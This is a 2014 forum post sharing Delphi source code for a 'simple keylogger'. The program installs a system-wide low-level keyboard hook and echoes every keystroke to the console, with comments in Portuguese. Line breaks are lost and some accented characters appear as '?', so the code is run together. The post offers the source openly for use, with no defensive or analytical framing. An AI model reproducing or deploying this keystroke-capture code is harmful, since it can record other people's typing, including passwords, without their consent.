Cartman. Posted June 27, 2014 Report Posted June 27, 2014 Simple keylogger using hookingprogram Project1;// Coded by bb69{$APPTYPE CONSOLE}useswindows;typetagKBDLLHOOKSTRUCT = packed record // cont?m as informa??es do eventovkCode: DWord; // virtual key (1.254) vk_back,vk_return,etcscanCode: DWord;flags: DWord;time: DWord;dwExtraInfo: PDWord;end;TKBDLLHOOKSTRUCT = tagKBDLLHOOKSTRUCT;PKBDLLHOOKSTRUCT = ^TKBDLLHOOKSTRUCT;var_hook: HHOOK; // manipulador da hookmsg:tmsg; // manipulador para receber as mensagens do Windowsfunction virtualkey(key: word): string;varkeyboardState: TKeyboardState;ascii: Integer;beginGetKeyboardState(keyboardState); // pegamos o status das teclas(256)trySetLength(Result,2);ascii := ToAscii(key, MapVirtualKey(key, 0), keyboardState, @result[1], 0) ;setlength(Result,1); // eliminamos os espa?osexceptresult := '';end;end;function KeyboardHook(Code: Integer; wParam : WPARAM; lParam : LPARAM): longint; stdcall;varp:PKBDLLHOOKSTRUCT;beginp := PKBDLLHOOKSTRUCT(lParam);if wParam = $0100 then begincase p.vkCode ofVK_RETURN: writeln(''); // enterend;write(virtualkey(p.vkCode));end;Result := CallNextHookEx(0,Code,wParam,lParam);end;begin_hook := SetWindowsHookEx(13, KeyboardHook, hInstance, 0);if _hook = 0 then writeln('Erro ao iniciar o hook') else writeln('Iniciado com sucesso');while getmessage(msg,0,0,0) do begintranslatemessage(msg);dispatchmessage(msg);end;end. Quote